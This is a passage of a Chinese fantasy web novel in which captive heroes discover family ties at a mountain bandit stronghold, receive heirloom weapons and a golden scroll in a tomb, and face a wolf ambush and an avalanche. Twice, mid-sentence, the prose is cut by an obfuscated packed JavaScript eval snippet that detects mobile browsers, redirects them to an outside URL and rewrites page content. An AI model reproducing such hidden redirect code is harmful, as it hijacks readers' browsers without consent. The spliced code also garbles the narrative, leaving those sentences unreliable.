另一队巡逻中,罗凛打头站在前面,身边立了根长矛,挨训道,“你叫陆仁丙是吧?” “嗯。” “从今天起你就守着这块地,谁都不许进知道吗?” “嗯嗯。” “你小子……我到底能不能信得过你啊?” “嗯嗯嗯。” “说话!” 罗凛身形一正,大声吼一声,“过年好!” 那人怔愣了半晌,像是放弃,最终拍了拍罗凛肩膀无奈道,“我真求你了,就一会儿,我喝口酒就回来。你可千万别叫任何人靠近啊,听懂点点头!” 罗凛听话的点点头。 那人一步三回头的离去,见其走远,罗凛迅速走入田垄查看。借着月光,大片大片的枯田被积雪覆盖,田垄上还有斜砍削尖秸秆,几十亩地里有无数个被茅草盖住的谷堆,应该是东山寨过冬的存粮。 只是这样一个地方有究竟有什么必要耗费几十个人轮流站岗?他继续向前找去,走过无数谷堆,看着外头层层茅草,罗凛竟鬼使神差的拔出短刀插了进去。 “哒!” 不对。 这声音不对。 不像是刀刺进谷物的声音,倒像是——铁。 他猛的扒开那堆茅草,果然!只有外头铺了一层苞谷,中间是满满当当的兵器! 一阵冷风打在罗凛脊背,刚冒出的一层薄汗瞬间化作冰晶黏在他身上,脚下积雪被踩的咯吱作响,他缓缓回头,览望整块雪地。 无数个谷堆安静立在雪地,密密麻麻,像涨满淤血脓疮。 他想到今夜计划,顿时慌了神,急忙冲出雪地企图阻止常玄,怎料四周突然亮起火把,方才那个叫他站岗的小厮冷声道,“三当家早看出你们不对劲,果然不出所料。都给我上,抓住他!” 一时间,密密麻麻的人朝他涌来。 罗凛见势不好转身就跑,怎料踩中陷阱,一张大网徒然升起,结结实实将他困住,喽啰们纷纷围上来,手持长矛对准他,这下真是穷途末路。 “哼!还想逃,三当家早就布好了天罗地网等你们。带走!” 那人一声令下,四五个人拉着罗凛往前走,寨子里灯火通明,一扫方才的诡异静寂。罗凛沿途观察东山寨,发觉一匹马都没少,今夜根本没有下山砸窑的计划,全是框她们的! 郡主有危险! 他剧烈挣扎起来,手臂用力,绳网徒然崩开几节,那四人被拽倒在地。可惜这张大网将他全身束缚,他翻滚一段路后又被铁索捆住,如此彻底没法抵抗,又被拉起来不情不愿的朝前走。 “老实点!要不是大当家说要活的我早一刀了结了你。别惦记了,待会儿就和你那群姐姐弟弟们团聚了!” 此处为东山寨大堂,远远的,罗凛便看见虎皮椅上坐了个男子,那是张新面孔,丰神俊朗,与二三当家并不相似,比其多了几分锐利沧桑,想必就是他们口中的“大当家”。 “人带来了大当家!”小厮将罗凛丢在地上道。 “嗯,下去吧。” “是!” 声音有些耳熟。罗凛一声不吭,靠着腰腹,一个鲤鱼打挺硬生生站了起来,借着火光他才看清身旁柱子上竟捆着玉雪倾与千里撼,旁边另一根则捆着常玄。 “有两下子嘛。”虎皮椅上男子拍了拍手称赞道。 罗凛怒道:“你究竟是什么人。” “我是什么人?你们潜进我的东山寨,私绘布防图,如今却问我是什么人?” “少废话!” “脾气真大,”那人耸耸肩道,“我就是你们一直在找的东山寨大当家,楚祈姝。” 37. 风月赋 七 “唔唔唔!”千里撼被塞住嘴巴什么都说不出。 “干嘛?”楚祈姝无奈看向千里撼道,“你怎么不消停。就是因为你骂人最狠我才塞你嘴巴。” “唔唔唔唔!唔唔!” 楚祈姝:“好了好了,快别骂了。这样,你不骂了我就给你们都把布条取下来如何?” 千里撼点点头。 “好了,你可以——” 布条刚一拿开,铺天盖地的骂声朝楚祈姝涌来,千里撼深吸一口气,字正腔圆,“你这个黑心短命的小几把!竟然敢装失足少男骗我!我俩好心好意救你,你倒好,反手就给我绑了!狼心狗肺的家伙,枉我夸你眉清目秀像读书人,你像你爷爷的臭狗!我草!” 罗凛闻言,突然反应过来,这人正是她们上山时拦路的那批人! 楚祈姝无奈的捂住耳朵,叹息道,“看看看,说话不算话了吧,你都骂我一路了。” “人面兽心的畜生!你但凡跟我堂堂正正打一场也算你是个人!苦肉计算什么本事!” “就是打不过你才苦肉计啊,”楚祈姝笑道,“我那时的确是被陷阱困住了,捉你只是顺便,谁叫你善良呢,而且我不是说谢谢了吗。” “放你大爷的黑狗屁!把我捆起来了,然后对我说谢谢?我草,那我把你脑袋砍下来边踢边说谢谢你被我砍死是不是也可以!” 楚祈姝咬紧下唇,被骂的体无完肤,拿掉玉雪倾口中布条试图求救道:“你快劝劝她。” 玉雪倾瞪了那人一眼,转头冷哼了一声,任凭千里撼痛骂。 足足过了半柱香,千里撼像是不会疲惫,从头到尾,从里到外的对楚祈姝进行了一番点评,并对其恩将仇报的行径进行了深度教育,最后楚祈姝实在没招儿了,拄着脑袋认真道:“……再骂杀了你。” 千里撼:“……” 正所谓识时务者为俊杰,如今人为刀俎我为鱼肉,过过嘴瘾就算了,死什么的还是先不聊这么恐怖的话题。 见千里撼住口,楚祈姝沉沉一笑,起身坐回虎皮椅上解释道:“打从你们一进山我就瞧出不对,放你们进来也不过是想看看葫芦里卖的什么药。如今被我抓来了就都交代吧。说,你们是什么人。” “……” “没人说是吧。来人,将这个壮汉拖出去砍了!” “等等!”千里撼恶狠狠盯着楚祈姝道:“我们是朝廷派来的,刺探情报也只是为了招安你们这伙人。” “朝廷?”楚祈姝顿了顿,嗤笑道:“原来是白家的走狗。” 他像是失了兴趣,瞬间没了笑容,大手一挥下令道,“将这几人都拖出去砍了!” 话音未落,罗凛猛的挣脱绳索扑向楚祈姝,千钧一发之际,二当家突然出现,持刀挡在楚祈姝身前,硬生生接下这一击。 “大哥!你没事吧?”二当家被震得双手发抖,刀身隐隐有道豁口。 楚祈姝惊魂未定,“我没事!等等,裘姝小心!” 柱子上三人不知何时被解开绳索,常玄趁其不备,操着虎爪,瞄准脖颈,一个箭步冲了上来! 楚裘姝防备不及,反手遮挡,护甲竟被生生撕去一块!不敢想,这若是血肉之躯该是什么情景。 玉雪倾随手抓了根绳子,晃动几圈勾住楚裘姝大刀一把将其夺走。这下赤手空拳,两人彻底不占优势。 四人见此,轮番上阵,渐渐耗光两人气力,就在即将捉住楚祈姝时,一女子从天而降挡在其身前,飞快几掌便将四人掀翻。 楚裘姝大喜,叫道:“妈!” 楚祈姝也跟着松了口气。 门口,楚望姝劈断绳索,推开一条缝隙,“大哥二哥别怕!我把妈叫来了!” 那女子四十有余,衣着简朴,身上隐隐有股茶香。罗凛嗅了嗅,“你是驿站的老板!” “没错,你这娃娃倒是机灵。可惜今天就要死在这儿了!”说罢,女子带头与四人打起来。 一时间尘土飞扬,屋内陈设尽毁,房盖也不知所踪。女子一套掌法,波云诡谲,看不出路数,却将四人压制地死死的,罗凛力气大她便借力打力,玉雪倾功夫高她便用内功防守,千里撼手快她便用蛮力压制。 三人纷纷倒地,唯常玄一人与其奋战,约么二十几招,女子眉头一皱突然问道,“你姓什么?” 常玄大汗淋漓,冷声道,“与你无关!”说罢又冲了上去。 两人纠缠在一起,女子有意试探他的招数,打的有收有放。常玄见女子难以对付,索性不藏了,调动内力,亮出起手势,牟足力气攻了上去。 女子侧身接下这招,见其功法恍然大悟道,“伏虎拳?你是陈家人!” 说罢女子立刻收手,常玄虎爪悬在空中,距离女子鼻尖一寸,也停下了。 常玄:“你怎么知道。你是谁。” “像,真是太像了!我怎么能才发现。”女子一把捧住常玄的脸端详许久,感叹道。 常玄猛的挣脱:“你到底什么意思!” “弦儿,我是楚诺姑姑啊!”女人泪眼朦胧,枯黄的皮肤爬满皱纹,双手停在空中颤抖道。 常玄一怔,良久才抬起头来看向女子,不可置信的喃喃道:“楚诺姑姑?” “是我,你看!”女子露出胳膊,上头纹了一只青鸟,翅膀上绘着蓝焰火兽纹。 这个纹身,母亲也有。 “楚诺姑姑!!”常玄猛地想起,一把拉住女子喊道,“真的是你!楚诺姑姑!你不是失踪了吗,怎么会在这里,还成了土匪?!” “此事说来话长啊。她们都是你的朋友吗?”楚诺指了指三人道。 “是。” “好,那便随我来吧。孩子们,守好这里。” 楚祈姝点头道:“是。” 楚诺带领众人走进一个密道,约五百步,来到扇石门前。 这是由一整块巨石凿空再镶嵌两块门扉制成,以中为界,门上雕刻人首蛇身的女神,一侧手托青鸟,一侧手托麒麟做飞天状。门楣上刻九色神鹿,其角绵延,撑起天地,在九色鹿身旁整齐排列着大傩十二兽,她们围成一圈,环绕着最中央的羽人。 楚诺按动机关,大门缓缓打开,里头停放着一座巨大棺椁,原来这是一间墓穴。只是这墓穴构造实在奇怪,竟是间环形屋子,房顶有口纯金巨鼎悬挂,做长明灯。 千里撼靠近金鼎仔细查看,发觉里头燃着的竟是真火,在这样近乎密闭的环境下竟能点着火,当真神奇。 火鼎之下,棺椁被停放在墓穴正中间的高台上,楚诺带陈长行来到棺椁前,望向高处道,“楚嬛,弦儿来了。” 常玄望向高台上那座通体琉璃打造的棺椁,一时不敢相信,“我娘……不是葬在巫山祖坟,供在陈氏宗祠吗?” “女人不需要埋进别家的祠堂。虚幻的香火,庸人的供奉,这些根本没法灌溉她,那是陈戟的一厢情愿!楚嬛是姚月族的大巫,最强的傩!是我们所有人的毕摩!灵魂永存,肉身常在,青鸟化长明之火为姚月族照亮迷雾,打开未来。楚嬛生于姚月,姚月拥有楚嬛,她是我们的敬仰的神。” “唔——咦哪吼——” 楚诺哼唱起来,那是从未听过的语言,歌声回荡在墓穴中,清脆嘹亮,若琉璃玉碎。她每哼唱一段曲调墓穴里的灯就亮七盏,直到歌声响彻墓穴,所有灯都被点亮,众人才得以看清这座东山之下的“地宫”。 “孩子,”楚诺单膝跪地朝陈长行行展礼,“你是楚嬛的孩子,是羽人的后代,更是姚月的孩子。姚月族乃是羽人后代,肩胛骨比魏人大,手臂比魏人长,生来便有巫的能力。” 楚诺说着,指尖摸上陈长行肩胛处,不知从哪儿变出团火来,烧光他后背衣裳。顷刻之间,陈长行背后的红色胎记展现在众人面前,那是一个怀抱月亮的羽人图案。 她怜爱的抚摸着那道印记,“可惜你是个男人,否则就是怀日羽人,如此便可以继承你母亲的傩。万般皆是命,谁叫你是陈戟那家伙的孩子。沾了凶兽的血,能活下来已属不易了。” 那股灼烧感还停留在背上,这个胎记不碰火不会显现,母亲早早去世从未告诉过他,父亲又不愿说,因此他对这个胎记始终怀有疑虑。如今真相大白,相传羽人族是上古时期便存在的族群,她们神秘莫测,避世不出,几度喻言世间大事,就连白虹开天地也没逃过她们的眼睛。 楚诺对着金鼎指尖微动,似拨弦般,地宫四周墙壁出现变化,一幅幅壁画替换了原本的墙面降了下来,掀起阵阵灰尘。 “咳咳咳!”千里撼捂住口鼻朝壁画望去,“这画的是?” 壁画共分四部分,两大两小,两幅大的显然在讲述一个连续的故事,至于那两幅小的,似乎是不同的人。 玉雪倾走过去,停在其中一副小壁画前。那副壁画绘的是一个反带伯奇傩面的女子,头顶冲天冠,手持长剑指向西方,身着蓝红直裾,腰佩银刀银铃,她背对着众人,只露出半边侧脸。 “……娘?” 玉雪倾诧异的摸向那副壁画,不自觉叫出了声。女子眉高目深,天资秀出,即便身上绘着各式花纹她也能一眼认出。 这就是她娘——玉如意。 “你叫她什么?”楚诺闻言走到壁画前问道。 “娘。这是我娘,玉如意。” 楚诺同样抚摸着壁画,唇角微提,双目放光,“我早该想到的,你和她那么像,我早该想到的!你是苏尼的孩子!” “苏尼……是什么?”千里撼举手问道。 “玉砚是古雪族后裔,雪族与姚月族同根,皆生于红雪。玉砚有承载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292907|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巫的能力,可惜雪族已经绝迹,二十年前姚月族做十二傩神祭,驱除瘟疫,请示上苍。可惜姚月族衰败,无论如何也凑不齐第十二个,这时玉砚站出来愿意一试,于是楚嬛过问上苍,尊玉砚为苏尼,带伯奇面。至此十二傩兽齐。” 楚诺念了一段听不懂的语言,像是祷告,她慈爱的抚摸着玉雪倾为其洗礼道,“你是雪的孩子,上苍会保佑你。我看见你的命运已经改变,伯奇在你身后打开了一扇新的大门。” “什么?”玉雪倾不明白她的意思。 “这是你母亲的,”楚诺从暗格取出一把长剑道,“我想现在它该属于你。” 那把剑又重又长,极其锋利,剑身呈黑色,对光却是银色。玉雪倾手指贴上剑身,上头有深浅不一的凹槽纹路,像是用来储血,全部导向剑柄的伯奇。 千里撼见那把宝剑脑中突然蹦出个名字,“玄翼惊生剑?” 玉雪倾好奇道:“你认得这把剑吗?” 千里撼猛地捂住嘴巴,暗道不好。 “呃,我在古书里看过。” 原著中这把剑是千里逢登基后有一处山脉地震,大地开裂,在一片废墟中有人捡到一把黑色宝剑和一把银色长戟。 原来这把剑的主人是玉如意,这么看,那座地震的山脉应该就是东山。 等等,那银色长戟是不是也在附近? 千里撼四处打量,视线定格在一幅画上。画上女子戴七璜九星碧玺佩垂至腰间,颈上银锁金铃,双额佩珠帘,着紫青曲裾,挂刀扇,半带委随傩面,微微露出下半张脸,单手持长戟指向西方。 错不了,这女子手中的就是银戟。 “这是谁?” “是我母亲。” 陈长行走到跟前,眼中带雾,他真的好多年没有见过母亲了。久到他甚至忘记楚嬛是个什么样的人,只记得她神秘、华丽、不染尘世。 “真好啊,你们都还记得。”楚诺取过把如画上一般的长戟交给陈长行道,“这是楚嬛留给你的,它叫月戮。” 陈长行接过长戟捧在手掌心,一时有些不知所措。 楚诺:“你知道楚嬛为什么不肯告诉你这些吗?” 陈长行摇摇头。 楚诺看向壁画,释然道,“因为她比谁都明白恨的滋味。她对天地有恨,对万物生恶,这股毁天灭地疯狂支撑她活着,分明应该踏入地狱,可楚嬛却偏偏一朝悟道,说自己见到了天地。我追随她二十几年,还是第一次见她笑的那样温柔。那时你刚满一岁,她左手抱你,右手摇铃,奏的是《散八苦》。那一天我就知道,楚嬛彻彻底底变了,她变得随和淡然,因此得以连接天地觉醒巫的力量。” “弦儿,”楚诺将手放在月戮戟上语重心长道,“无论是剑还是戟,都是神器,神器镇妖邪,敬天地,抚万民之安。我这辈子都不可能达到楚嬛的境界了,但她的话我还是要传达,‘无论陈氏还是姚月,皆为无根苦,不必执着。无恨方能长行,放手才使弦拨’。” 陈长行握紧长戟,青筋暴起。楚诺说她达不到母亲的境界,可放眼望去,这世上又有几人能达到母亲的境界? 忘情忘恨,断念断痴,逍遥自在去,不问身后人。 留孤儿鳏夫守空棺。 陈长行终于明白为何父亲总是满面愁容,失了魂魄,终日郁郁。 浮世缠七情,裹六欲。生于此,长于此,寂灭于此。 一笑泯恩仇? 谈何容易。 月戮戟在陈长行手中生出一股寒意。 千里撼琢磨起那副最大的壁画,画上十二人各带不同面具,穿奇装异服,执法器,围绕火堆舞蹈。想必这就是楚诺口中的十二傩神祭。 最后一幅大壁画绘的还是那群人,她们换了法器,手举金色巨鼎,脊背生出翅膀,面朝西方列阵,楚嬛手持竹简打头,画上刻了许多看不懂的文字。 等等。 千里撼盯着那卷竹简,歪着脑袋瞧了半晌,口中喃喃念道:“混、恩、彻、克、契、伽、佢。” 话音未落,地宫烛火猛地一晃,金鼎轰然落地。 楚诺大惊失色,慌忙查看,却在鼎中发现一卷金简。 “这怎么可能?这鼎分明是我亲自放的,难道——”她看向千里撼,将后半句咽回肚子里。 一切都是命运,楚嬛选择了她。 “天命所往,”楚诺轻笑一声,将金简交给千里撼,“拿着吧,有缘人。” 千里撼左看右看,茫然道:“给我的?这是什么意思。” 楚诺笑了下,食指抵住唇尖,和壁画中那个带着强梁傩面之人身影重叠,“天机不可泄,到时自会知晓。” 纯金的竹简在千里撼手中隐隐发烫,她下意识摸了摸,透过指腹,摸到了“玄金策”三个字。 38. 风月赋 八 “当年,我奉楚嬛毕摩之命,带三千姚月族来到东山,本以为日后还能再会,不想竟天人永隔。毕摩不眠不休,写下这卷《玄金策》,不久后撒手人寰,她叫我务必交予有缘人手中,如今,我的任务终于完成了。” 楚诺朝琉璃馆行拜礼,口中念着听不懂的话,说到最后泪流满面。常玄上前跪在她身旁,将长戟摆在身前,恭恭敬敬地磕了三个响头,“母亲,孩儿来看你了。” 玉雪倾站在二人身后,手持玄翼惊生剑,躬身行揖礼。 壁画上,神秘的仪式从未停下,十二傩神从四面八方来,汇集圣坛,点神火,驱邪祟。罗凛看着,不自觉入了迷,顺着十二傩神所指方向,朝西看去。 那是一张纯白面具,黑齿红唇小细眉,笑眼弯弯,模样俏皮诡异。在其身后还跟着十一个“白脸”,形态各异,有的掩面偷笑、有的故作端庄。 在这场仪式中,一个手持巨斧,披毛戴角的傩神率先出战,她是甲作。罗凛歪了歪头,看向甲作的扮演者,那人身前有两根长辫,辫尾各栓四颗狼牙,在北疆这是尊贵的象征。 “罗凛?” 罗凛闻声回头。 千里撼问道:“在看什么?” “没什么,这个面具漂亮。”罗凛指了指甲作面具道。 “你喜欢的话可以送你。”楚诺按动机关,顷刻之间,一排是个面具整齐弹出。 千里撼好奇的盯着看,将面具与墙上画一一对应,最后指着露出獠牙的面具问道,“这个是?” “这是错断,情机化身。” “错断?壁画上那个模糊不清的就是它吧。” “是,”楚诺看向壁画,被绘于顶上的错断已然斑驳,唯有手中羽箭清晰,她拿起傩面在千里撼脸上比了比道,“你带着很合适,送你了。” “这就送我了?”千里撼拿着面具,有些不可思议。 “哈哈哈,只要有图样就能再做。只是如今,已经没有几个巫能戴上傩面祭祀,别说凑十二个,就连下次祭祀也说不清是什么时候了。”楚诺叹息一声,摇了摇头。 “我生了三个儿子,巫血传不下去,”她拿起一张傩面感慨,“或许毕摩说的对。神,会离人越来越远。就像太阳和月亮,光芒刹那交汇,真身永不相见。” 楚诺沉沉叹了口气,“东山寨属于楚嬛,只不过由我代为看管了十几年,在这些年里我时时操练,为的就是有一天能杀回皇城。陈戟这个没用的东西,不仅没照顾好楚嬛,就连陈氏也保不住,或许我当年就不该走的。” “好在今日能与你相逢,”楚诺握住陈长行肩膀,语重心长,“长行,你是楚嬛的孩子,是毕摩的后人,身上流的是姚月族的血。我作为楚嬛毕摩的部下,现在把姚月族还给你。” 一张鸟状面具突然出现在楚诺掌心,陈长行见此躬身,行姚月族礼节,双手平摊,恭敬接面。那张面具极其精致,颜色绚烂,花纹多变,与墓门上头的羽人纹样类似。 楚诺亲手为其带上面具,欣慰的笑了,后退半步行姚月敬礼,以姚月族独有的楚语念道:“顺天应时,焚香御礼,闻敬神意。遥遥千里红月,漫漫三万赤血,羽歌狂,酒泪殇,神鹿引归乡。祈求神灵,降福楚长行,承巫血,悦生灵!” 话音一落,金鼎重新燃起火焰,这条熄灭许久的血脉再次相连,扫清尘土,认祖归宗。 千里撼尚有公务在身不能耽误,临走前楚诺握着楚长行的手一再嘱咐,若非要守护山寨她定会随之下山。 楚望姝趴在门边依依不舍的望着玉雪倾的背影,眼中带泪,楚裘姝见此拍了拍他的肩膀,头抵在门框,难免惆怅。 楚诺命楚祈姝送她们下山,一行人夜里出发。 马背上,楚祈姝时不时朝千里撼投过视线,试探着。 “有屁就放。”千里撼目视前方道。 “你还在生气吗?” “哼,楚诺光明磊落一辈子,生了你算是个污点。” 楚祈姝自知理亏,摇头道:“我是母亲捡来的孩子,不算姚月族人,但母亲还是养育我长大至今。弟弟们有姚月血脉,所以多少有些巫的能力,唯我一无是处。” “……不是亲生的就合理了。”千里撼扫了眼楚祈姝,他和东山随处可见的茅草一般脆弱,随风飘摇,不知归处。 楚祈姝:“那时我藏在富户宅旁其实是真中了陷阱,那富户消息灵通,提前布置了陷阱。好在遇到了你,否则我怕是会被烧死,你也知道,我的武功一塌糊涂。” “可别,”千里撼冷嘲热讽,“你武功差但你心机高啊,你中了陷阱但你还能骗我啊,你差点被烧死但你最后却把我捉住了啊。呵呵,骗我说你是被哪个山大王抢去做相公,不得已跑出来又中了猎户陷阱,我怎么就信了你这漏洞百出的谎呢!真是怪我了,千里撼啊千里撼,你真蠢!你真善!你真该死啊!一世英名就毁在这么个二流货色手里了,傻呵呵的给人救下来,结果下一刻就被人提刀架脖子,我的天!” 楚祈姝被骂的脸都红了,连连作揖,“千里姑娘我真的知错了,以后再也不骗人了,求您消消气吧,千错万错都是我的错。” “你说什么?” 千里撼手放耳边佯装听不清的模样道,“你说叫狗改了吃屎?哎呦呦可别可别,那是人家的人生大事儿,我可管不着!你没错,我的错!是我不该起善念,我回去就把祠堂的菩萨全砸了供阎王!” 楚祈姝实在没招了,环顾四周企图求人说情,玉雪倾正在二人身后,他刚开口便吃了玉雪倾一记眼刀,顿时熄了火儿。 没办法,谁叫他用同样的办法也骗了玉雪倾呢。 “两位姑娘,实在抱歉,我没什么能耐才会出此下策。我不比三弟脑子快,不比二弟武功高,身无长技,一事无成,唯有一张好皮能骗人。事已至此,我也没什么好为自己辩解的,”楚祈姝跳下马拦住几人,弓腰作揖行魏人礼道,“在下不求几位原谅,唯愿姑娘消气就好。” 楚祈姝腰背弓成一座小山,几乎以面贴腿,他站在马下比所有人都矮了一截,影子更是狭窄,孤立无援。 千里撼同玉雪倾对视一眼,“赶紧上马吧,别耽误我的时间。” 楚祈姝读懂她语气中的松懈,神色一缓,翻身上马继续赶路。 所谓冤家宜解不宜结,更何况她们还是姚月族的朋友。楚祈姝低眉浅笑,望向远方,姚月族是他的恩人,他会用尽一切报答姚月族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292908|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,报答母亲。 “……你没什么擅长的吗?”千里撼突然问道。 “我,”楚祈姝认真想了想,像是听到了笑话,“我会写些诗词文章,还参加过省试呢,现在想想真是不知天高地厚,一个土匪居然动过做官的念头。我十岁才识字,手边的书翻来覆去那几本,当年本是下山游玩的,阴差阳错就考了试。不过这番经历倒也有趣,好歹日后年华不再了,也有些东西能回忆。” “省试?这么说你过了解试?” “侥幸罢了。”楚祈姝笑道。 从报名到科考,环环相扣,楚祈姝能过解试足以证明其实力,虽未过省试,可这世上又有几人能一朝中举。 况且他的身份—— 千里撼瞧了眼地上黑影,想起自己当年科考,没人能真正从科举中走出来。过了省试还有关试,过了关试还有人情。自古以来,多少能人埋没于此,科举是道青云梯,但这架梯子低下埋藏了太多枯骨亡魂,如痴如狂,命尽于此。 她是郡主,有出身有特权自然无需烦忧这些,可那些平民百姓呢?过了道道筛选,终于守得云开见月明,看似前途无限,却已经半只脚踏进权利的泥潭。 □□,人情往复,普通人在这场赌博里毫无胜算,只能烧香拜佛求公正,而那所谓公正也不过是为掩人口舌,百里挑、万里选,一跃龙门。 只为了这个梦,更多的人前仆后继,一生执着,明知唯有凤毛麟角能够跳出漩涡,可每个人都似着魔般,最后郁郁而终,化作青云阶下土。 天高地厚,日暖月寒,缚哭鬼泣,龙死凤熄。如今世道,不过如此,她身为当朝郡主亦感无力,那百姓呢? 怪来怪去,只余一声叹息,“罢了”。 “从这里往南就是官道,我不便再送了。切记不要往西,那里是座雪山,很危险。诸位,后会有期。”楚祈姝驻马,向楚长行点了点头后朝众人行姚月别礼。 楚长行:“辛苦了,回去吧。” “是。” “等等,”千里撼从马车里钻出来,扔给楚祈姝一个布包道,“走吧。” 车轮转动,一行人缓缓向前,留楚祈姝一人一马站在月光里朝远处眺望。他摸了摸布包,很轻,想必是什么虫子骨头之类的骂人玩应儿吧。 楚祈姝想着,无语的笑起来,将包裹拆开。 竟然是封信? 真新鲜,千里姑娘和他能有什么话说呢? 楚祈姝拿起来,借着月色瞧了瞧,终于看清上头的字——荐帖。 他脑中轰然一声,全身僵硬,马尾搔搔,青雪沥沥,他却再听不见任何声响。三言两语之间,千里撼看穿了他的故作坚强,甚至比他还要通透,铺路设桥,圆他的梦。 另一张纸掉出来,那是张空的户籍,只有姓名那栏有三个字——陆文举。 楚祈姝笑起来,将户籍紧紧按在心口,落寞夹杂着喜悦,千里撼早已不见人影,唯有墨雪车辙,这轻飘飘的两张纸足够改他的命了。 千里撼…… 千里撼。 楚祈姝将布包塞进怀里,最后望了一眼南方,如果他能有幸成为陆文举,那么她们一定会再见。 山水有相逢。 39. 风月赋 九 “琼林。” “怎么了?” “你有没有觉得这一路过于安静了?” “这么说好像是有点儿。”千里撼掀开车帘查看四周,并无异常。 “虽是冬日,万籁俱寂,却也不至于这般。这一路上人烟稀少,我们分明走的大路,却连动物也不见几只。” “你这说的我都有点心慌了,”千里撼撂下车帘道,“就好像是有人设好圈套等我们往里跳似的。” “嗷———” 一声狼嚎划破天际,惊得马原地踏步,甩着尾巴不知所措。顷刻之间,黑暗中露出无数只狼向她们靠近,空中飘起鹅毛大雪,一双双蓝眼忽明忽暗,口悬津液,贪婪的望着她们。 浓重的腥臭味儿混着风钻进鼻腔,常玄赶忙点起火把驱逐狼犬,可它们像是不怕般,只微微后退,眼神自始至终都没离开过马车。 常玄:“不好!是雪狼!” 千里撼顿时感到一阵刺骨寒意。她撩开车帘一角,猛的与一双狼目对视,霎时间无数匹狼朝她这边聚集,不顾火烧,拼命撕咬着马匹。 “疯了吗?!”一头狼猛扑上来,扒住窗框要爬进车内,被千里撼一刀刺中眉心。 “不对!这些狼不对!”玉雪倾提剑冲出马车,放眼望去,几百头狼如蚁群般将她们包围。 常玄与罗凛手持火把拼命斩杀着,可这些狼就是不怕死,一旦咬住什么死不松口,活像疯了。 “东山怎么可能有这么多狼!”千里撼一跃爬上车顶朝远处望去,猛然发现一伙人站在雪中。 不对! 她看向罗凛,那群狼对他的攻击明显弱了很多。 看来这不是意外。 千里撼咬了咬牙,从掏出酒壶猛灌一口,跳下车顶夺过罗凛火把放在面前猛喷一口。 霎时间,巨大的火球点燃狼群,为首的几头狼被这么一烧似乎恢复些神智。 千里撼抓准机会,手持火把突围狼群。长枪点地,纵身一跳,踩着枪柄在空中翻了个跟斗,直直朝那群人冲去。 “琼林!!”玉雪倾见状来不及思考,也紧跟千里撼冲了出去。 狼群见二人冲了出去顿时转换方向,回头去追,包围圈顿时打散,常玄见势割断缰绳点燃马车。冲天火光中,他也瞧见了那一群人。 “有两下子。”黑暗中,一人手握拐杖,点地两下,霎时间狼群掉头朝千里撼涌来。 罗凛见势不好,猛的大吼道:“琼林!回来!!” 这一声吼响彻天地,狼群一顿,短暂恢复神智,紧接着又动起来。 千里撼动作奇快,不过片刻已至那人面前,她操起长枪正劈下去,却被闪身躲开。 “你们是谁!”千里撼单手握枪,指着那群人喝道。 “杀了她。” 为首那人并不理会,后退半步,就这么凭空消失在雪中,在其两侧不知何时出现两名壮汉,手戴甲勾拳刺。 这两人天生蛮力,千里撼在此根本不占优势,对付一个还好,对付两个实在棘手。一阵拳风扑面,她侧身躲过拳头,横起长枪硬接下一记重击,顿时双手全麻。 眼看拳头就要落在肩上,千里撼却无法脱身,长枪被甲勾锁住动弹不得。 千钧一发之际,玉雪倾手持长剑从天而降,一击削断那人小臂,鲜血喷涌而出。千里撼见状腾空一脚,挣脱束缚,回身滑退到玉雪倾身边。 身后群狼环饲,那被削断小臂的人似乎没有痛觉,一声不吭,俨然一副要和她们殊死搏斗的模样。 “嗷呜————” 他们突然发出狼嚎,紧接着,群狼像是接到信号,齐齐发出狼嚎,尖锐刺耳,惊天动地。 “不对……”常玄被这叫声刺激的睁不开眼,猛的想到什么,大吼道:“玉折,快离开那!!” 狼嚎如火熄灭般停止,千里撼面前突然出现个人影,是那个佝偻身子的怪人! “站住!你是谁!”千里撼盯着那人恶狠狠道。 “我是谁?”那人阴恻恻的笑起来,“你敢知道答案吗?” 玉雪倾一把用剑对准那人刺道:“故弄玄虚!” 四周安静极了,连风都停了,只隐隐有压抑的哀嚎声。 “千里郡主,这次只是警告,下次就没那么简单了。”他说罢,向后一仰,袖中忽然飞出数只飞镖打的千里撼措手不及。一不小心,眼角割出道伤口。 “可恶!” 待她去查看时地上只剩一间斗篷,那人早已不知所踪。千里撼突然想到什么,后头望去发觉罗凛不见踪影,刚想呼喊却听到一声巨响。 “不好!是雪崩!!” 玉雪倾当即拉着千里撼飞快向后跑去,一时间天崩地裂,玉碎云沉,任其动作再快也无济于事,两道身影就这样消失在雪中。 “不要!!玉折!”常玄撕心裂肺的呼喊着,不顾雪崩,连滚带爬的向前跑去,最终只摸到一捧白雪。 “站住!安吉,你到底要做什么!”罗凛不知追了多久,终于抓住安吉,愤怒质问道。 “少主,我说过,我有很多办法让你跟我走。” “放屁!别以为我看不出来,你要杀了琼林!”他猛的揪住安吉的领子恶狠狠道,“如果你敢伤害她,我连你也杀!” “我的命是少主的,你想要随时来取。不过那位郡主可就不一样了,少主要不要去看她最后一眼呢?” “你这话是什么意思!”罗凛瞬间掏出弯刀对准安吉脖颈随时准备割下去,他的眼珠隐隐变为蓝色,气势如山,压的四周狼群俯首。 安吉身躯一疆,冷笑道,“少主答应跟我回北疆,我现在就给你解药。” “安吉,你没资格跟我谈条件。” 安吉咬了咬牙,僵持片刻,长舒一口气,“她没事。” 罗凛甩开安吉威胁道:“不要再来招惹她,否则我立马杀了你、你们。” 